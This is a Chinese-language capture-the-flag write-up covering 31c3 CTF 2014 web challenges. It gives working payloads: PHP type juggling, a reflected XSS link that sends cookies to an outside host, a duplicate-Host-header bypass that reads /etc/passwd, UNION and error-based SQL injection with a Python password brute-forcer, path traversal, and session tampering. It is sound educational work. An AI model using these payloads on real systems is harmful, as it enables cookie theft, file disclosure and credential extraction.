31c3 CTF 還是很人性化的,比賽結束了之后還可以玩。看題解做出了當時不會做的題目,寫了一個writeup。
英文的題解可以看這里https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web
PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/
這題需要好多php技巧組合起來。過關需要這樣提交。
http://188.40.18.69/pCRAPp.php?a={%22a1%22:%221337a%22,%22a2%22:[[1],1,2,3,0]}&b=0001&c[0]=0031c3&c[1][]=1111&d=%00
逐步分析一下每個知識點,其實很多技巧在http://drops.wooyun.org/tips/4483這篇文章有講到。
這里用到了PHP弱類型的一個特性,當一個整形和一個其他類型行比較的時候,會先把其他類型intval再比。
#!php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
($a["a1"]>1336)?$v1=1:NULL;
}
這里也利用了相同的原理,array_search 會使用'ctf'和array中的每個值作比較,而且intval('ctf')==0.
#!php
if(is_array(@$a["a2"])){
if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["a2"] as $key=>$val){
$val==="ctf"?die("nope"):NULL;
}
$v2=1;
}
這里用到了一個BUG,http://blog.51yip.com/php/934.html。 在windows下 1.1.1 這種構造也會報錯。
#!php
if(preg_match("/^([0-9]+\.?[0-9]+)+$/",@$_GET['b'])){
$b=json_decode(@$_GET['b']);
if($var = $b === NULL){
($var===true)?$v3=1:NULL;
}
}
這里用到的技巧是,array和string進行strcmp比較的時候會返回一個null,%00可以截斷eregi
#!php
$c=@$_GET['c'];
$d=@$_GET['d'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "31c3")?$v4=1:NULL;
}
}
if($v1 && $v2 && $v3 && $v4){
include "flag.php";
echo $flag;
}
These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it
這一題分為兩步,第一步構造一個報錯頁面。報錯頁面中會顯示的filename沒有escape。
如下構造參數
filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=style1&content=aaa
會形成一個反射性的XSS
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<img src=x onerror=alert(1)>.php
我們可以構造一個偷cookie的連接
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<svg onload=eval(document.location.hash.slice(1))>.php#document.location='http://lanantest.sinaapp.com/?'+document.cookie
第二步把這個XSS提交到,Contact Us,就可以偷到cookie了,可以看到Flag
Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility of Ruby.
Get the source at:
http.tar.bz2 Some example sites hosted with our webserver:
http://works.90.31c3ctf.aachen.ccc.de/works.html
http://31c3ctf.90.31c3ctf.aachen.ccc.de/announcements.html
給出了一個簡單的webserver,首先看一下源代碼。
run.sh 中可以看到數據包先經過,fw.rb 再進入server_file.c 進行處理。
#!bash
exec socat "TCP-LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a ../www.log)
看到 server_file.c 中,會讀取 host目錄下的path文件,并返回,首先想到任意文件讀取。
#!c
if (chdir(host) == -1) {
goto _404;
}
int fd= open(path, O_RDONLY);
if (fd == -1) {
goto _404;
}
struct stat stat;
if (fstat(fd, &stat) == -1) {
goto _404;
}
const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (file == NULL) {
goto _404;
}
close(fd);
但是直接這樣發送請求會被fw.rb forbidden。
[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/'
Forbidden
再看一下fw.rb的邏輯會獲取最后一次出現的Host
#!ruby
def parse_headers(line_reader)
line_reader.collect do |line|
[$1, $2] if line=~ /\A([^:]*): *(.*)\z/
end.compact.inject({}) { |h, x| h[x[0]]= x[1]; h }
end
serve_file會獲取第一次出現的Host
#!c
for (;;) {
if (!read_line(buffer, &buf_size)) {
goto invalid;
}
if (*buffer == '\r') {
goto invalid;
}
if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) {
break;
}
char *eol= strchr(buffer, '\r');
buf_size-= eol-buffer-2;
buffer= eol+2;
}
這樣我們就可以構造兩個Host來繞過fw.rb了。
[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/' -H 'Host:
works.90.31c3ctf.aachen.ccc.de'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:100:103::/home/syslog:/bin/false
messagebus:x:101:105::/var/run/dbus:/bin/false
uuidd:x:102:107::/run/uuidd:/bin/false
landscape:x:103:110::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde15f84125:/home/flag:
5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?
http://188.40.18.89/
首先訪問一下http://188.40.18.89/robots.txt,會發現一個backup的目錄,下載下來得到源碼。
看下代碼很容易發現一個sql注入漏洞,構造如下的語句,就可以的到Flag
http://188.40.18.89/?page=pic&id=9 union select * from pictures where id=9 -- a
It’s some devilish community public portal, we’re pretty sure there’s something else out there, a private portal maby, we’d like to know the secret behind it.
http://188.40.18.70/
首先找到一個SQl注入當做突破口。
http://188.40.18.70/PROFILE/54\/KiTTyKiTTy
在頁面的注釋里面可以找到具體執行的SQL語句
<!--SELECT * FROM users WHERE id_user='54\' AND Us3rN4m3='KiTTyKiTTy'-->
注入點過濾了很多東西,經過嘗試XML報錯的方式是可以利用的。
http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09Us3rN4m3%09from%09users%09limit%091)))--%09
因為information_schema 被過濾了,我們需要用另外一種方式來猜出字段名
http://188.40.18.70/PROFILE/54%5C/-%28select%09*%09from%09%28select%09*%09from%09users%09join%09users%09b%09using%28id_user,Us3rN4m3,Em4iL4dr3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL%29%29c%29--%09
執行可得知密碼字段為P4sWW0rD_0F_M3_WTF,好變態 - -!
報錯出密碼,這里有一個比較坑的地方就是因為報錯信息長度有限制的關系,這里并不會顯示全部的密碼。
http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09P4sWW0rD_0F_M3_WTF%09from%09users%09limit%091)))--%09
我們可以使用locate暴力猜出剩余的密碼。 寫了一個比較渣的腳本
#!python
import requests
import string
charset = string.ascii_letters + string.digits
print charset
if __name__=='__main__':
ipass = 'sd654egezjniufsdqc89q7d65azd123'
print ipass.encode('hex')
while True:
for i in charset:
t = ipass + i
r = requests.get('http://188.40.18.70/PROFILE/56\/-extractvalue(1,concat(0x5c,(select%09locate(0x'+t.encode('hex')+',P4sWW0rD_0F_M3_WTF)%09from%09users%09limit%091)))--%09')
if r.text.find('XPATH syntax error: \'\1\'')!=-1:
print 'Got it!'+i
ipass = t
print ipass
else:
print 'No!'+i
跑出完整的出密碼
Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
登陸之后又一個比較明顯的文件遍歷,可以看到網站還有一個隱藏的目錄。
http://188.40.18.70/ACCESS?action=browse&dir=../../../../../var/www/html/__WebSiteFuckingPrivateContentNotForPublic666
訪問里面的頁面可以得到源碼
[email protected]:~# curl http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD
#!php
<?php
if(@$_SESSION['user']){header("location: ".$LINK);die();}
if(isset($_POST['user'])){
if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){
$_SESSION=$_POST;
header("location: ".$LINK);die();
}else{
$Error=1;
}
}
?>
但是Flag并不在里面,而是是藏在另外一個web服務之中。在這個目錄下可以看到。
http://188.40.18.70/ACCESS?action=browse&dir=../../../../../../../home/devilish.local/__WebSiteFuckingPrivateContentNotForPublic666%2b666
這個server中的INDEX文件輸出了Flag
#!html
[email protected]:~# curl "http://188.40.18.70/__WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" -H "Host: devilish.local"
<br/>
This is the private Portal of us<br/><br/>
If you are accessing this page this means you are one of the very few exclusive members who are allowed to come in here!<br/>
<br/>
<?php echo($logged?"Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")?>
<span class="styleX">s</span>
研究一下代碼可以發現,這兩個系統其實使用同一套session,我們可以先在默認的系統登錄,這里要在POST數據里提交is_ExclusiveMember=1,因為$_SESSION=$_POST,會被同步到Session之中。
再去訪問devilish.local,即可得到flag